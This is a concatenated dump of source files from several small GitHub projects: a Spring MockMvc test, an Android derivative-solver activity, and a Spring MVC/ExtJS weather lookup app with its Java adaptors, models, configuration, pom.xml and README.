\"bob\"}")) .andExpect(status().isCreated()) .andDo(print()) .andReturn(); final String newBlobLocation = createResult.getResponse().getHeader("Location"); mvc.perform(put(newBlobLocation) .contentType(MediaType.APPLICATION_JSON_UTF8) .content("{\"name\": \"bobby\"}")) .andDo(print()) .andExpect(status().isNoContent()) .andReturn(); mvc.perform(get(newBlobLocation)) .andDo(print()) .andExpect(status().isOk()) .andExpect(jsonPath("$.name", Is.is("bobby"))) .andReturn(); } @Test public void updateBlobWithPatch() throws Exception { final MvcResult createResult = mvc.perform(post("/blobs") .contentType(MediaType.APPLICATION_JSON_UTF8) .content("{\"name\": \"bob\"}")) .andExpect(status().isCreated()) .andDo(print()) .andReturn(); final String newBlobLocation = createResult.getResponse().getHeader("Location"); mvc.perform(patch(newBlobLocation) .contentType(MediaType.APPLICATION_JSON_UTF8) .content("{\"name\": \"bobby\"}")) .andDo(print()) .andExpect(status().isNoContent()) .andReturn(); mvc.perform(get(newBlobLocation)) .andDo(print()) .andExpect(status().isOk()) .andExpect(jsonPath("$.name", Is.is("bobby"))) .andReturn(); } } <file_sep>package com.petercoulton.spring.putbehaviour; import org.slf4j.*; import org.springframework.boot.*; import org.springframework.boot.autoconfigure.*; @SpringBootApplication public class PutBehaviourApplication { private static final Logger log = LoggerFactory.getLogger(PutBehaviourApplication.class); public static void main(String[] args) { SpringApplication.run(PutBehaviourApplication.class, args); } }
d2950fe6be6a6da50148fead42482e7edd971430
[ "Java" ]
3
Java
petercoulton/spring-put-behaviour
46adec183c9d1c4822fd3b01fcb86c7042786ba3
1aee36355cad75e095207ddf20fc743592af9a0a
refs/heads/master
<file_sep>package com.one.test.testappone; import android.graphics.Typeface; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; import java.util.ArrayList; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mainBanner = (TextView) findViewById(R.id.textView); equationText = (EditText) findViewById(R.id.equation); buttonSolve = (Button) findViewById(R.id.button); answerText = (TextView) findViewById(R.id.answer); equationEnter = (TextView) findViewById(R.id.textView2); Typeface font = Typeface.createFromAsset(getAssets(), "fonts/fontThree.ttf"); mainBanner.setTypeface(font); equationEnter.setTypeface(font); answerText.setTypeface(font); } static String answerFinal = ""; static String answerOne = ""; static String thisRightHere = "lol"; TextView mainBanner; TextView equationEnter; EditText equationText; Button buttonSolve; TextView answerText; public static ArrayList<String> SingleTermOrNah(String input) { //first method initiated if chain. Checks if there are seperable terms, and how many. ArrayList<Integer> locations = new ArrayList<>(); ArrayList<String> terms = new ArrayList<>(); int bracketCount = 0; int numberOfTerms = 1; for (int a = 0; a<input.length(); a++) { if (input.charAt(a) == "(".charAt(0)){ bracketCount++; } if (input.charAt(a) == ")".charAt(0)) { bracketCount--; } if (((input.charAt(a) == "+".charAt(0)&& input.charAt(a-1) != "^".charAt(0)) || input.charAt(a) == "-".charAt(0) && input.charAt(a-1) != "^".charAt(0)) && bracketCount==0) { //System.out.println("found " + a); numberOfTerms++; locations.add(a); //terms.add(Character.toString((input.charAt(locations.get(a))))); } } //System.out.println("a is " + locations); int locationSize = locations.size(); if (numberOfTerms == 1) { terms.add(input); } else if (numberOfTerms != 1) { for (int a = 0; a < locationSize; a++) { if (a == 0) { terms.add(input.substring(0, locations.get(a))); } else if (a != 0) { terms.add(input.substring(locations.get(a-1)+1, locations.get(a))); } } terms.add(input.substring(locations.get(locationSize-1)+1, input.length())); } for (int a = 0; a < locationSize; a++) { terms.add(Character.toString(input.charAt(locations.get(a)))); } return terms; } public static String NoChainSolver(String input) { String answer = ""; //System.out.println("NoChainSolver"); String power = ""; String coeff = ""; int length = input.length(); //System.out.println("length is " + length); //start from the end to find ^ //System.out.println("finding last ^"); for (int a = length-1; a >= 0; a--) { Character single = input.charAt(a); if (single == "^".charAt(0)) { //System.out.println("power symbol ^ at " + a); //acquired power symbol. //find if power is for x or another equation i.e. (fx). for (int b = a-1; b >= 0; b--) { Character album = input.charAt(b); if (album == "x".charAt(0)) { //System.out.println("power is for x"); //System.out.println("x at " + b); //left is x. x is at b. //To solve, first find power. for (int c = b+2; c < length; c++) { if (input.charAt(c) == "+".charAt(0) || input.charAt(c) == "*".charAt(0)) { break; } else { power = power + input.charAt(c); } } //System.out.println("power is " + power); //power acquired. //next find coefficient for (int c = b-1; c >= 0; c--) { if (c == 0)//no term seperator before b (x position) { for (int d = 0; d < b; d++) { coeff = coeff + input.charAt(d); } } if (input.charAt(c) == "+".charAt(0) || input.charAt(c) == "*".charAt(0) || input.charAt(c) == "(".charAt(0) || input.charAt(c) == ")".charAt(0)) { //found term seperator at c for (int d = c+1; d<b; d++)//coefficient occurs after c and before b (x position) { coeff = coeff + input.charAt(d); } //System.out.println("coefflol"); break;//remove break, instead do something about other terms. If * and if +. //get position of term seperator and start process <- from there. } } //System.out.println("coeff is " + coeff); //power and coeff acquired. //next, solve //System.out.println(coeff + "coeff"); //System.out.println(power + "power"); answerOne = answerOne + Double.parseDouble(power)*Double.parseDouble(coeff) + "x^" + (Double.parseDouble(power)-1); //System.out.println(answerOne); answerFinal = answerOne + " + " + answerFinal; answerOne = ""; coeff = ""; power = ""; //System.out.println("reset"); } else if (album == ")".charAt(0)) { System.out.println("error"); //this situation shall never be true(ideally). Hence error. //left is ). //leftFinderBracket } break; } } } answerFinal = answerFinal.trim(); int aOne = answerFinal.length(); if (answerFinal.charAt(aOne-1) == "+".charAt(0) || answerFinal.charAt(aOne-1) == "-".charAt(0)) { answerFinal = answerFinal.substring(0, (aOne-1)); } answerFinal = answerFinal.trim(); //System.out.println("final answer is " + answerFinal); answer = answerFinal; answerFinal = ""; return answer; } public static String Solver(String input) { if (ChainOrNoChain(input)) { boolean deeper = false; int powerPos = 0; String exp = ""; String acTerm = ""; //the power symbol. for (int a = 0; a < input.length(); a++) { if (input.charAt(a) == "^".charAt(0)) { powerPos = a; } } //!The power symbol. //the Term's exponent. for (int a = powerPos+1; a < input.length(); a++) { exp = exp + input.charAt(a); } //System.out.println(exp); //!The term's exponent. //The actual term considered. int start = 0; int end = 0; for (int a = 0; a < input.length(); a++) { if (input.charAt(a) == "(".charAt(0)) { start = a; break; } } for (int a = input.length() - 1; a >= 0; a--) { if (input.charAt(a) == ")".charAt(0)) { end = a; break; } } acTerm = input.substring(start, end+1); //System.out.println(acTerm + "this should be the acTerm"); //!The term considered. //The required job. String answer = ""; answer = answer + exp + acTerm + "^(" + (Float.valueOf(exp)-1) + ")"; //is deeper required? for (int a = 0; a < acTerm.length(); a++) { if(acTerm.charAt(a) == "x".charAt(0)) { deeper = true; } } if (deeper) { return "(" + answer + ")*" + GoDeep(acTerm); } else { return answer; } } else { //System.out.println(); //System.out.println("ayy"); //System.out.println(); return NoChainSolver(input); } } public static Boolean ChainOrNoChain(String input) { for (int a = (input.length())-1; a >= 0; a--) { if (input.charAt(a) == ")".charAt(0)) { return true; } } return false; } public static String GoDeep(String input) { String answer = ""; input = input.substring(1); //System.out.println(input + "lets see"); input = input.substring(0, input.length()-1); //System.out.println(input); answer = Solver(input); return "(" + answer + ")"; } public String MasterSolver(String inputOne) { ArrayList<String> input = SingleTermOrNah(inputOne); //System.out.println(input + "here is the arraylist"); String answerHere = ""; int seperatorIndex = 0; int seperator = 0; if (input.size() == 1) { answerHere = Solver(input.get(0)); } else if (input.size() != 1) { for (int a = 0; a < input.size(); a++) { if (input.get(a).charAt(0) == "+".charAt(0) || input.get(a).charAt(0) == "-".charAt(0)) { seperatorIndex = a; seperator = a; //System.out.println("as of now, seperatorIndex and seperator are " + a); break; } } for (int a = 0; a < seperatorIndex; a++) { answerHere = answerHere + Solver(input.get(a)); if (a != seperatorIndex -1) { answerHere = answerHere + " " + input.get(seperator) + " "; seperator++; } } } //System.out.println(); //System.out.println(answer); return answerHere; } public void listenerOne(View view) { Log.d("CREATION", "ayy"); Log.d("CREATION", String.valueOf(equationText.getText())); Log.d("CREATION", MasterSolver(String.valueOf(equationText.getText()))); thisRightHere = MasterSolver(String.valueOf(equationText.getText())); answerText.setText(thisRightHere); } }
bc3a4cd46c547857035b07ba8cd6a489f1726222
[ "Java" ]
1
Java
shaunaksharma/DifferentialSolver_android
0244fa6aaa4fd66a4f8950b27eda7126c0b82e31
90d366c29380ee1309797f1a67fc7019dd2c4bec
refs/heads/main
<file_sep>print("Heloo from git");
36b582d2284d4d46577299d96cbcfac398c3a447
[ "Python" ]
1
Python
rishinath1/demopygit
f4bac91fd6720e4fac2f5e4ee0dc44bc2182daff
8fcefefb558382c08a784f6c09ccc5018626471b
refs/heads/master
<repo_name>ashwinjeksani/weatherapp<file_sep>/target/weather-0.0.1-SNAPSHOT/resources/js/app/WeatherInfo.js Ext.define('Expedia.weather.WeatherInfo', { extend: 'Ext.Component', alias: 'widget.expedia.weatherinfo', layout: 'anchor', cls: 'weather-view', config:{ data:[] }, constructor: function(config) { this.initConfig(config); this.callParent(arguments); }, initComponent: function(config){ var me = this; var weatherView = {html: this.weatherTpl()}; Ext.applyIf(this,weatherView); this.callParent(arguments); }, weatherTpl: function(){ var me = this; data = this.getData(); tpl = new Ext.XTemplate( '<div name="weather-display-div" class="info-outer">'+ '<span class="info-inner">City : {city:trim} <br/> State : {state} <br/> Temperature : {temperature}</span>'+ '</div>' ).applyTemplate(data); return tpl; } });<file_sep>/target/weather-0.0.1-SNAPSHOT/resources/min/js/weatherapp-script.js Ext.define('Expedia.weather.SearchWeather', { extend: 'Ext.form.Panel', alias: 'widget.expedia.searchweather', layout: 'anchor', cls: 'search-form', config:{ data:[], weatherDisplayData:[], weatherRenderer:'' }, constructor: function(config) { this.initConfig(config); this.callParent(arguments); }, initComponent: function(config){ this.callParent(arguments); this.on({ scope: this }); }, items: [{ xtype: 'fieldset', title: 'Search by Zip', defaultType: 'textfield', defaults: { width: 280 }, items: [{ fieldLabel: 'Zip Code', emptyText: 'Zip Code', name: 'zipCode' } ] }], buttons: [{ text: 'Get Weather', disabled: true, formBind: true, handler: function(btn){ var formPnl = btn.up('panel'); var form = formPnl.getForm(); var zipCode = form.findField('zipCode').getSubmitValue(); Ext.Ajax.request({ url: 'zipcode.json', params: {'zipCode': zipCode}, jsonData: { }, method:'POST', success: function(response, opts) { resp = eval('('+response.responseText+')'); Ext.fly('error-message-div').hide(); Ext.fly('weather-widget').show(); Ext.fly('weather-widget').update(''); Ext.create('Expedia.weather.WeatherInfo',{ data:resp.msg, renderTo: 'weather-widget' }); }, failure:function(response, opt) { resp = eval('('+response.responseText+')'); Ext.fly('weather-widget').hide(); Ext.fly('error-message-div').show(); Ext.fly('error-message').update(resp.msg); } }); } }] });Ext.define('Expedia.weather.WeatherInfo', { extend: 'Ext.Component', alias: 'widget.expedia.weatherinfo', layout: 'anchor', cls: 'weather-view', config:{ data:[] }, constructor: function(config) { this.initConfig(config); this.callParent(arguments); }, initComponent: function(config){ var me = this; var weatherView = {html: this.weatherTpl()}; Ext.applyIf(this,weatherView); this.callParent(arguments); }, weatherTpl: function(){ var me = this; data = this.getData(); tpl = new Ext.XTemplate( '<div name="weather-display-div" class="info-outer">'+ '<span class="info-inner">City : {city:trim} <br/> State : {state} <br/> Temperature : {temperature}</span>'+ '</div>' ).applyTemplate(data); return tpl; } });Ext.require([ 'Ext.form.*', 'Ext.data.*', 'Expedia.weather.*' ]); Ext.onReady(function(){ var formPanel = Ext.create('Expedia.weather.SearchWeather',{ renderTo: 'weather-form', frame: true, title:'Weather Search', width: 340, bodyPadding: 5, waitMsgTarget: true, fieldDefaults: { labelAlign: 'right', labelWidth: 85, msgTarget: 'side' } }); });<file_sep>/src/main/java/com/expedia/weatherapp/model/WeatherModel.java package com.expedia.weatherapp.model; /** * Customized object */ public class WeatherModel { private String city; private String state; private String temperature; private String format; public String getCity() { return city; } public void setCity(String city) { this.city = city; } public String getState() { return state; } public void setState(String state) { this.state = state; } public String getTemperature() { return temperature; } public void setTemperature(String temperature) { this.temperature = temperature; } public String getFormat() { return format; } public void setFormat(String format) { this.format = format; } } <file_sep>/src/main/java/com/expedia/weatherapp/model/Response.java package com.expedia.weatherapp.model; import java.io.Serializable; import java.util.List; public class Response implements Serializable { private Features features; private String termsofService; private String version; public void Response(){} public Features getFeatures(){ return this.features; } public void setFeatures(Features features){ this.features = features; } public String getTermsofService(){ return this.termsofService; } public void setTermsofService(String termsofService){ this.termsofService = termsofService; } public String getVersion(){ return this.version; } public void setVersion(String version){ this.version = version; } } <file_sep>/src/main/java/com/expedia/weatherapp/model/Features.java package com.expedia.weatherapp.model; import java.io.Serializable; import java.util.List; public class Features implements Serializable { private Number conditions; public void Features(){} public Number getConditions(){ return this.conditions; } public void setConditions(Number conditions){ this.conditions = conditions; } } <file_sep>/target/weather-0.0.1-SNAPSHOT/WEB-INF/classes/messages_en_US.properties weather.zip.invalid=Invalid zip code format, Please try again with a valid format (Ex: 90001) weather.zip.unavailable=Zipcode not found, Please try with a different code weather.service.failure=Service Not Available, Please try again later<file_sep>/src/main/java/com/expedia/weatherapp/util/JsonObjConverter.java package com.expedia.weatherapp.util; import com.expedia.weatherapp.model.WunderGroundModel; import org.codehaus.jackson.JsonGenerationException; import org.codehaus.jackson.map.DeserializationConfig; import org.codehaus.jackson.map.JsonMappingException; import org.codehaus.jackson.map.ObjectMapper; import org.codehaus.jackson.map.SerializationConfig; import org.codehaus.jackson.type.TypeReference; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.core.convert.TypeDescriptor; import org.springframework.core.convert.converter.GenericConverter; import java.io.IOException; import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.Set; /** * This utility class is for JSON conversion */ public class JsonObjConverter implements GenericConverter { // private static final Logger logger = LoggerFactory.getLogger(JsonObjConverter.class); @Override public Set<ConvertiblePair> getConvertibleTypes() { Set<ConvertiblePair> pairs = new HashSet<ConvertiblePair>(); pairs.add(new ConvertiblePair(String.class, WunderGroundModel.class)); return pairs; } /** * Convert JSON to Java Object * * @param source - Source Object * @param sourceDescriptor - Source Type * @param targetDescriptor - Target Type * @return */ @Override public Object convert(Object source, TypeDescriptor sourceDescriptor, TypeDescriptor targetDescriptor) { if(source instanceof String) { ObjectMapper mapper = new ObjectMapper(); WunderGroundModel model = null; try { // Convert JSON Object to Generic Type if(targetDescriptor.getObjectType().equals(WunderGroundModel.class)) { if(((String) source).indexOf("null") == 0 ){ source = ((String) source).substring(((String) source).indexOf("null") + 4); } mapper.configure( DeserializationConfig.Feature.FAIL_ON_UNKNOWN_PROPERTIES, false); mapper.disable(SerializationConfig.Feature.FAIL_ON_EMPTY_BEANS); model = mapper.readValue(source.toString(), WunderGroundModel.class); return model; } } catch (JsonGenerationException e) { e.printStackTrace(); } catch (JsonMappingException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } } return null; } } <file_sep>/target/classes/application.properties weather.app.service.host=api.wunderground.com weather.app.service.port=80 weather.app.service.key=<KEY> weather.app.service.uri=/api/%s/conditions/q/%s.json<file_sep>/src/main/java/com/expedia/weatherapp/adaptor/BaseHttpAdaptor.java package com.expedia.weatherapp.adaptor; import com.expedia.weatherapp.constants.ApplicationConstants; import com.expedia.weatherapp.util.ApplicationUtil; import org.apache.http.HttpHost; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.conn.routing.HttpRoute; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.apache.http.impl.conn.PoolingHttpClientConnectionManager; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Component; import javax.annotation.PostConstruct; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.MalformedURLException; /** * Base HTTP Connector to initiate the Pool Connection Manager and configure the basic setup */ @Component public class BaseHttpAdaptor implements ApplicationAdaptor { protected static CloseableHttpClient httpClient; @Value("${weather.app.service.host}") protected String weatherAPIHost; @Value("${weather.app.service.port}") protected String weatherAPIPort; /** * Initialize method to create HTTPClient Connection pool */ @PostConstruct public void initialize() { PoolingHttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager(); connectionManager.setMaxTotal(ApplicationConstants.HTTP_MAX_CONNECTIONS); connectionManager.setDefaultMaxPerRoute(ApplicationConstants.ROUTE_MAX_CONNECTIONS); int port = ApplicationUtil.parseInt(weatherAPIPort, ApplicationConstants.DEFAULT_PORT); //Register all hosts here connectionManager.setMaxPerRoute(new HttpRoute(new HttpHost(weatherAPIHost, port)), ApplicationConstants.ROUTE_MAX_CONNECTIONS); httpClient = HttpClients.custom() .setConnectionManager(connectionManager) .build(); } /** * Makes an HTTP GET call and returns the response content * @param url - URL for making a GET request * @return * @throws Exception */ public String getHttpGET(String url) throws MalformedURLException, IOException, RuntimeException, Exception { HttpGet getMethod = new HttpGet(url); String responseBody = null; try { CloseableHttpResponse httpResponse = httpClient.execute(getMethod); if (httpResponse.getStatusLine().getStatusCode() != ApplicationConstants.STATUS_OK) { throw new RuntimeException("Failed : HTTP error code : " + httpResponse.getStatusLine().getStatusCode()); } BufferedReader br = new BufferedReader(new InputStreamReader( (httpResponse.getEntity().getContent()))); String output; while ((output = br.readLine()) != null) { responseBody += output; } } catch (MalformedURLException e) { throw e; } catch (IOException e) { throw e; } catch (RuntimeException e) { throw e; } catch (Exception e) { throw e; } finally { getMethod.releaseConnection(); } return responseBody; } public String getWeatherAPIHost() { return weatherAPIHost; } public void setWeatherAPIHost(String weatherAPIHost) { this.weatherAPIHost = weatherAPIHost; } public String getWeatherAPIPort() { return weatherAPIPort; } public void setWeatherAPIPort(String weatherAPIPort) { this.weatherAPIPort = weatherAPIPort; } public static CloseableHttpClient getHttpClient() { return httpClient; } public static void setHttpClient(CloseableHttpClient httpClient) { BaseHttpAdaptor.httpClient = httpClient; } } <file_sep>/pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.expedia</groupId> <artifactId>weather</artifactId> <version>0.0.1-SNAPSHOT</version> <packaging>war</packaging> <name>weather</name> <properties> <java-version>1.6</java-version> <spring.version>3.1.0.RELEASE</spring.version> <log4j.version>1.2.16</log4j.version> <org.slf4j-version>1.5.10</org.slf4j-version> <commons-httpclient-version>3.1</commons-httpclient-version> <org.slf4j-version>1.5.10</org.slf4j-version> <org.aspectj-version>1.6.9</org.aspectj-version> </properties> <dependencies> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aspects</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>${log4j.version}</version> <scope>runtime</scope> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>${org.slf4j-version}</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12</artifactId> <version>${org.slf4j-version}</version> <scope>runtime</scope> </dependency> <!-- AspectJ --> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjrt</artifactId> <version>${org.aspectj-version}</version> </dependency> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjweaver</artifactId> <version>${org.aspectj-version}</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-servlet-api</artifactId> <version>7.0.16</version> <scope>provided</scope> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.7</version> <scope>test</scope> </dependency> <dependency> <groupId>org.mockito</groupId> <artifactId>mockito-core</artifactId> <version>1.8.5</version> <scope>test</scope> </dependency> <dependency> <groupId>commons-httpclient</groupId> <artifactId>commons-httpclient</artifactId> <version>${commons-httpclient-version}</version> </dependency> <dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> <version>4.3</version> </dependency> <dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpcore</artifactId> <version>4.3</version> </dependency> <!-- Jackson JSON Mapper --> <dependency> <groupId>org.codehaus.jackson</groupId> <artifactId>jackson-mapper-asl</artifactId> <version>1.9.7</version> </dependency> <dependency> <groupId>org.codehaus.jackson</groupId> <artifactId>jackson-jaxrs</artifactId> <version>1.1.1</version> </dependency> </dependencies> <build> <defaultGoal>install</defaultGoal> <resources> <resource> <directory>src/main/resources</directory> <targetPath>${project.basedir}/target/classes/</targetPath> </resource> <!--copy properties to test-classes in target to execute junit property comparison tests --> <resource> <directory>src/main/resources</directory> <includes> <include>application*.properties</include> </includes> <targetPath>${project.basedir}/target/test-classes/config/</targetPath> </resource> </resources> <plugins> <plugin> <groupId>com.samaxes.maven</groupId> <artifactId>maven-minify-plugin</artifactId> <version>1.3.5</version> <executions> <execution> <id>weatherapp</id> <phase>prepare-package</phase> <configuration> <jsSourceDir>./resources/js/</jsSourceDir> <jsTargetDir>./resources/min/js/</jsTargetDir> <jsSourceFiles> <jsSourceFile>app/SearchWeather.js</jsSourceFile> <jsSourceFile>app/WeatherInfo.js</jsSourceFile> <jsSourceFile>app/weather.js</jsSourceFile> </jsSourceFiles> <jsFinalFile>weatherapp-script.js</jsFinalFile> </configuration> <goals> <goal>minify</goal> </goals> </execution> </executions> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>2.3.2</version> <configuration> <source>${java-version}</source> <target>${java-version}</target> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-war-plugin</artifactId> <version>2.1.1</version> <configuration> <warName>weather</warName> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-dependency-plugin</artifactId> <executions> <execution> <id>install</id> <phase>install</phase> <goals> <goal>sources</goal> </goals> </execution> </executions> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-resources-plugin</artifactId> <version>2.5</version> <configuration> <encoding>UTF-8</encoding> </configuration> </plugin> <plugin> <groupId>org.codehaus.mojo</groupId> <artifactId>tomcat-maven-plugin</artifactId> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-eclipse-plugin</artifactId> <inherited>true</inherited> <configuration> <classpathContainers> <classpathContainer>org.eclipse.jdt.launching.JRE_CONTAINER</classpathContainer> <classpathContainer>org.eclipse.jdt.USER_LIBRARY/TOMCAT_6.0.14_LIBRARY</classpathContainer> </classpathContainers> </configuration> </plugin> </plugins> </build> </project><file_sep>/src/main/java/com/expedia/weatherapp/adaptor/WeatherAdaptor.java package com.expedia.weatherapp.adaptor; import org.springframework.stereotype.Component; import java.io.IOException; import java.net.MalformedURLException; /** * Weather Adaptor Interface */ @Component public interface WeatherAdaptor { public String getWeatherDetails(String zipCode) throws MalformedURLException, IOException, RuntimeException, Exception; } <file_sep>/src/main/java/com/expedia/weatherapp/adaptor/ApplicationAdaptor.java package com.expedia.weatherapp.adaptor; /** * Application base adaptor interface */ public interface ApplicationAdaptor { public void initialize(); } <file_sep>/target/weather-0.0.1-SNAPSHOT/resources/js/app/SearchWeather.js Ext.define('Expedia.weather.SearchWeather', { extend: 'Ext.form.Panel', alias: 'widget.expedia.searchweather', layout: 'anchor', cls: 'search-form', config:{ data:[], weatherDisplayData:[], weatherRenderer:'' }, constructor: function(config) { this.initConfig(config); this.callParent(arguments); }, initComponent: function(config){ this.callParent(arguments); this.on({ scope: this }); }, items: [{ xtype: 'fieldset', title: 'Search by Zip', defaultType: 'textfield', defaults: { width: 280 }, items: [{ fieldLabel: 'Zip Code', emptyText: 'Zip Code', name: 'zipCode' } ] }], buttons: [{ text: 'Get Weather', disabled: true, formBind: true, handler: function(btn){ var formPnl = btn.up('panel'); var form = formPnl.getForm(); var zipCode = form.findField('zipCode').getSubmitValue(); Ext.Ajax.request({ url: 'zipcode.json', params: {'zipCode': zipCode}, jsonData: { }, method:'POST', success: function(response, opts) { resp = eval('('+response.responseText+')'); Ext.fly('error-message-div').hide(); Ext.fly('weather-widget').show(); Ext.fly('weather-widget').update(''); Ext.create('Expedia.weather.WeatherInfo',{ data:resp.msg, renderTo: 'weather-widget' }); }, failure:function(response, opt) { resp = eval('('+response.responseText+')'); Ext.fly('weather-widget').hide(); Ext.fly('error-message-div').show(); Ext.fly('error-message').update(resp.msg); } }); } }] });<file_sep>/README.md Weather Application =================== This application displays weather information based on US Zip Codes, this is created as a demo project with the usage of ExtJS &amp; Spring MVC. ## Project setup, configuration: * Please ensure that maven is already configured. * Download the weatherapp repository and Navigate to weatherapp folder ## Testing To Run automated unit test cases, please execute the below command: ```sh mvn test ``` ## Deploying * To deploy the application please execute below command: ```sh mvn clean install tomcat:run-war ``` * After the application loads access using below URL: **[http://localhost:8080/weather](http://localhost:8080/weather)** * Please key-in some valid US Zip codes and test <file_sep>/src/main/java/com/expedia/weatherapp/util/ApplicationUtil.java package com.expedia.weatherapp.util; import com.expedia.weatherapp.constants.ApplicationConstants; import org.springframework.stereotype.Component; /** * Common conversions across application */ @Component public class ApplicationUtil { // Custom Integer Parser with default value as fallback public static Integer parseInt(String strVal, int defaultVal) { try { return Integer.parseInt(strVal); } catch (NumberFormatException e) { return defaultVal; } } // Frame URL public static String frameURL(String protocol, String hostname, String port, String uri) { StringBuilder connectionURL = new StringBuilder(); connectionURL.append((null!=protocol)?protocol:ApplicationConstants.SERVICE_PROTOCOL) .append(ApplicationConstants.PROTOCOL_DELIMITER) .append((null != hostname) ? hostname : ApplicationConstants.LOCAL_HOST) .append(ApplicationConstants.PORT_DELIMITER) .append((null != port) ? port : ApplicationConstants.DEFAULT_PORT) .append((null != uri) ? ApplicationConstants.URI_DELIMITER + uri : ""); return connectionURL.toString(); } } <file_sep>/src/main/java/com/expedia/weatherapp/service/WeatherServiceImpl.java package com.expedia.weatherapp.service; import com.expedia.weatherapp.adaptor.WeatherAdaptor; import com.expedia.weatherapp.model.WeatherModel; import com.expedia.weatherapp.model.WunderGroundModel; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.core.convert.ConversionService; import org.springframework.stereotype.Service; import java.io.IOException; import java.net.MalformedURLException; import java.net.URLDecoder; @Service public class WeatherServiceImpl implements WeatherService { @Autowired private WeatherAdaptor weatherAdaptor; @Autowired private ConversionService conversionService; @Override public WeatherModel getWeatherByZip(String zipCode) throws MalformedURLException, IOException, RuntimeException, Exception { WunderGroundModel model = getConversionService().convert(weatherAdaptor.getWeatherDetails(zipCode), WunderGroundModel.class); return getConversionService().convert(model, WeatherModel.class); } public ConversionService getConversionService() { return conversionService; } public WeatherAdaptor getWeatherAdaptor() { return weatherAdaptor; } public void setWeatherAdaptor(WeatherAdaptor weatherAdaptor) { this.weatherAdaptor = weatherAdaptor; } } <file_sep>/src/main/java/com/expedia/weatherapp/adaptor/WeatherAdaptorImpl.java package com.expedia.weatherapp.adaptor; import com.expedia.weatherapp.util.ApplicationUtil; import org.apache.http.HttpHost; import org.apache.http.conn.routing.HttpRoute; import org.apache.http.impl.conn.PoolingHttpClientConnectionManager; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Component; import java.io.IOException; import java.net.MalformedURLException; /** * Customized HTTP Connector for connecting Weather App and fetching weather info. */ @Component public class WeatherAdaptorImpl extends BaseHttpAdaptor implements WeatherAdaptor { @Value("${weather.app.service.key}") private String wgKey; @Value("${weather.app.service.uri}") private String serviceURI; @Override public String getWeatherDetails(String zipCode) throws MalformedURLException, IOException, RuntimeException, Exception { return getHttpGET(ApplicationUtil.frameURL(null,weatherAPIHost,weatherAPIPort,String.format(serviceURI,wgKey,zipCode))); } public String getWgKey() { return wgKey; } public void setWgKey(String wgKey) { this.wgKey = wgKey; } public String getServiceURI() { return serviceURI; } public void setServiceURI(String serviceURI) { this.serviceURI = serviceURI; } }
6b1ba0f40800663a72ca04a3ffe0623931924230
[ "JavaScript", "Markdown", "Maven POM", "INI", "Java" ]
17
JavaScript
ashwinjeksani/weatherapp
e9ce70c2de35f604fb12e34b7900d85be42d5cab
e0e85b1ad5ec8b9692944652365bc974a26fbd9f
refs/heads/master
